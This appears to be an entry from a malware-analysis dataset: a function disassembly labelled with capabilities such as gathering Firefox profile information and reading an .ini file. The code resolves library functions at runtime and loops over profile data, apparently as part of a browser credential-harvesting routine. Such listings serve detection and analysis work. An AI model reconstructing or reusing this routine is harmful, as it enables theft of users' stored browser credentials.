Function at 0x41ea08
Capabilities:
Gather firefox profile information
Link many functions at runtime
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x53
push 0
push 0
dec ecx
jne 0x41ea10
push ecx
push ebx
push esi
push edi
mov esi, eax
mov ebx, 0x43b8a8
xor eax, eax
push ebp
push 0x41ef0e
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0041e870
mov eax, dword [0x43a8b4]
mov ecx, 0x41ef24
mov edx, dword [ebx]
call fcn.004042a8
lea eax, [ebp - 0x258]
mov ecx, 0x41ef38
mov edx, dword [ebx]
call fcn.004042a8
mov eax, dword [ebp - 0x258]
call fcn.0040445c
push eax
call sub.KERNEL32.DLL_LoadLibraryA
lea eax, [ebp - 0x25c]
mov ecx, 0x41ef50
mov edx, dword [ebx]
call fcn.004042a8
mov eax, dword [ebp - 0x25c]
call fcn.0040445c
push eax
call sub.KERNEL32.DLL_LoadLibraryA
lea eax, [ebp - 0x260]
mov ecx, 0x41ef64
mov edx, dword [ebx]
call fcn.004042a8
mov eax, dword [ebp - 0x260]
call fcn.0040445c
push eax
call sub.KERNEL32.DLL_LoadLibraryA
lea eax, [ebp - 0x264]
mov ecx, 0x41ef78
mov edx, dword [ebx]
call fcn.004042a8
mov eax, dword [ebp - 0x264]
call fcn.0040445c
push eax
call sub.KERNEL32.DLL_LoadLibraryA
lea eax, [ebp - 0x268]
mov ecx, 0x41ef8c
mov edx, dword [ebx]
call fcn.004042a8
mov eax, dword [ebp - 0x268]
call fcn.0040445c
push eax
call sub.KERNEL32.DLL_LoadLibraryA
lea eax, [ebp - 0x26c]
mov ecx, 0x41efa4
mov edx, dword [ebx]
call fcn.004042a8
mov eax, dword [ebp - 0x26c]
call fcn.0040445c
push eax
call sub.KERNEL32.DLL_LoadLibraryA
mov ebx, eax
push 0x41efb0
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 8], eax
push 0x41efbc
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0xc], eax
push 0x41efd4
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0x10], eax
push 0x41efec
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0x14], eax
push 0x41f000
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0x18], eax
push 0x41f010
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov edi, eax
mov dword [ebp - 0x1c], edi
push 0x41f020
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0x20], eax
lea eax, [ebp - 4]
push eax
push 8
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
mov ebx, 0x104
lea eax, [ebp - 0x135]
mov edx, 0x104
call fcn.004065d0
push ebx
lea eax, [ebp - 0x135]
push eax
push 0x41f030
call sub.KERNEL32.DLL_GetEnvironmentVariableA
lea eax, [ebp - 0x270]
lea edx, [ebp - 0x135]
mov ecx, 0x105
call fcn.0040420c
lea eax, [ebp - 0x270]
mov edx, 0x41f040
call fcn.00404264
mov eax, dword [ebp - 0x270]
call fcn.0040445c
push eax
push 0x104
lea eax, [ebp - 0x23a]
push eax
push 0x41f060
push 0x41f064
push 0x41f06c
call sub.KERNEL32.DLL_GetPrivateProfileStringA
lea eax, [ebp - 0x278]
lea edx, [ebp - 0x135]
mov ecx, 0x105
call fcn.0040420c
push dword [ebp - 0x278]
push 0x41f080
lea eax, [ebp - 0x27c]
lea edx, [ebp - 0x23a]
mov ecx, 0x105
call fcn.0040420c
push dword [ebp - 0x27c]
push 0x41f09c
push 0x41f0a8
lea eax, [ebp - 0x274]
mov edx, 5
call fcn.0040431c
mov eax, dword [ebp - 0x274]
call fcn.0040445c
mov ebx, eax
lea eax, [ebp - 0x280]
mov edx, ebx
call fcn.00404194
mov ecx, dword [ebp - 0x280]
mov dl, 1
mov eax, dword [0x41c6d0]
call fcn.0041c79c
mov edi, eax
mov edx, 0x41f0c0
mov eax, edi
call fcn.0041d2c4
mov ebx, eax
mov eax, ebx
call fcn.0041dbe0
test eax, eax
jle 0x41eeab
lea eax, [ebp - 0x288]
lea edx, [ebp - 0x135]
mov ecx, 0x105
call fcn.0040420c
push dword [ebp - 0x288]
push 0x41f080
lea eax, [ebp - 0x28c]
lea edx, [ebp - 0x23a]
mov ecx, 0x105
call fcn.0040420c
push dword [ebp - 0x28c]
lea eax, [ebp - 0x284]
mov edx, 3
call fcn.0040431c
mov eax, dword [ebp - 0x284]
call fcn.0040445c
push eax
call dword [ebp - 8]
pop ecx
test eax, eax
jne 0x41eea2
call dword [ebp - 0x10]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x41ee94
push 0
push 1
mov eax, dword [ebp - 0x24]
push eax
call dword [ebp - 0x14]
add esp, 0xc
test eax, eax
jne 0x41ee81
mov eax, ebx
call fcn.0041dbe0
dec eax
test eax, eax
jl 0x41ee8a
inc eax
mov dword [ebp - 0x30], eax
push dword [esi]
mov edx, 0x41f0e4
mov eax, ebx
call fcn.0041dbf0
mov edx, eax
lea ecx, [ebp - 0x290]
mov eax, ebx
call fcn.0041e190
push dword [ebp - 0x290]
push 0x41f0f8
mov eax, esi
mov edx, 3
call fcn.0040431c
mov edx, 0x41f104
mov eax, ebx
call fcn.0041dbf0
mov edx, eax
lea ecx, [ebp - 0x28]
mov eax, ebx
call fcn.0041e190
mov edx, 0x41f120
mov eax, ebx
call fcn.0041dbf0
mov edx, eax
lea ecx, [ebp - 0x2c]
mov eax, ebx
call fcn.0041e190
mov eax, dword [ebp - 0x28]
call fcn.0040425c
push eax
mov eax, dword [ebp - 0x28]
call fcn.0040445c
push eax
lea eax, [ebp - 0x246]
push eax
push 0
call dword [ebp - 0xc]
add esp, 0x10
push 0
lea eax, [ebp - 0x252]
push eax
lea eax, [ebp - 0x246]
push eax
call dword [ebp - 0x18]
add esp, 0xc
push dword [esi]
lea eax, [ebp - 0x294]
mov edx, dword [ebp - 0x24e]
call fcn.00404194
push dword [ebp - 0x294]
push 0x41f0f8
mov eax, esi
mov edx, 3
call fcn.0040431c
mov eax, dword [ebp - 0x2c]
call fcn.0040425c
push eax
mov eax, dword [ebp - 0x2c]
call fcn.0040445c
push eax
lea eax, [ebp - 0x246]
push eax
push 0
call dword [ebp - 0xc]
add esp, 0x10
push 0
lea eax, [ebp - 0x252]
push eax
lea eax, [ebp - 0x246]
push eax
call dword [ebp - 0x18]
add esp, 0xc
push dword [esi]
lea eax, [ebp - 0x298]
mov edx, dword [ebp - 0x24e]
call fcn.00404194
push dword [ebp - 0x298]
push 0x41f0f8
mov eax, esi
mov edx, 3
call fcn.0040431c
mov eax, ebx
call fcn.0041e208
dec dword [ebp - 0x30]
jne 0x41ed49
jmp 0x41ee8a
mov eax, esi
xor edx, edx
call fcn.00404264
mov eax, dword [ebp - 0x24]
push eax
call dword [ebp - 0x20]
pop ecx
jmp 0x41ee9d
mov eax, esi
xor edx, edx
call fcn.00404264
call dword [ebp - 0x1c]
jmp 0x41eeab
mov eax, esi
xor edx, edx
call fcn.00404264
mov eax, ebx
call fcn.0040317c
mov eax, edi
call fcn.0040317c
cmp dword [esi], 0
je 0x41eee3
lea eax, [ebp - 0x29c]
push eax
mov ecx, dword [esi]
mov edx, 0x41f13c
mov eax, 0x41f0f8
call fcn.0041e34c
mov edx, dword [ebp - 0x29c]
mov eax, esi
call fcn.00403ff0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41ef15
lea eax, [ebp - 0x29c]
mov edx, 0x12
call fcn.00403fc0
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.00403fc0
ret